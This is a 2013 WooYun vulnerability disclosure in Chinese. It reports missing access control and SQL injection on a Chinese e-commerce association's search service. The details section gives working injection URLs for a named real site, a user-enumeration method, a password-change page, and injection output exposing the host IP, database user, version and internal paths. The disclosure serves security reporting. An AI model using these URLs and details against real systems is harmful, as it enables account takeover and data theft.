当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038354

漏洞标题:电子商务协会数字服务中心访问控制不严及SQL注入

相关厂商:中国电子商务协会

漏洞作者:

提交时间:2013-09-27 17:37

修复时间:2013-10-02 00:38

公开时间:2013-10-02 00:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-27: 细节已通知厂商并且等待厂商处理中
2013-10-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

由于访问控制不严格,导致可列出系统中所有用户,同时修改其密码。
另外存在SQL注入导致信息泄露

详细说明:

http://search.szfw.org/entry.php?action=getUserinfo2&userId=2-1
直接返回管理员账号admin,同时可以进入SQL注入
http://search.szfw.org/entry.php?action=getUserinfo2&userId=2
返回Code个人信息

QQ截图20130927153801.jpg


枚举userID可获取整个系统中所有用户的账号信息。同时此链接http://search.szfw.org/entry.php?action=getPwdpage可用于修改其密码。
Target: http://search.szfw.org/entry.php?action=getUserinfo2&userId=2
Host IP: 123.157.157.8
Web Server: nginx
Powered-by: PHP/5.2.10
DB Server: MySQL unknown ver
Resp. Time(avg): 61 ms
Current User: cxt@192.168.11.90
Sql Version: 5.5.16-log
Current DB: cxt
System User: cxt@192.168.11.90
Host Name: cxt-dbmaster
Installation dir: /data/mysql5515
DB User: 'cxt'@'%'
Data Bases: information_schema
accesslog
cxt

漏洞证明:

QQ截图20130927151847.jpg


QQ截图20130927154735.jpg

修复方案:

访问控制不严格
SQL过滤

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-10-02 00:38

厂商回复:

暂无直接联系渠道,拟直接公开,由网站管理方自行联系处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-02 01:01 | hiking ( 路人 | Rank:10 漏洞数:2 | 国内非著名草根站长,网页设计师、程序猿。)

    晕,这不是老东家出品的么,这主站UI还是我设计的呢,赶紧联系前BOSS 相关厂商是:盘石(中国电子商务协会数字服务中心)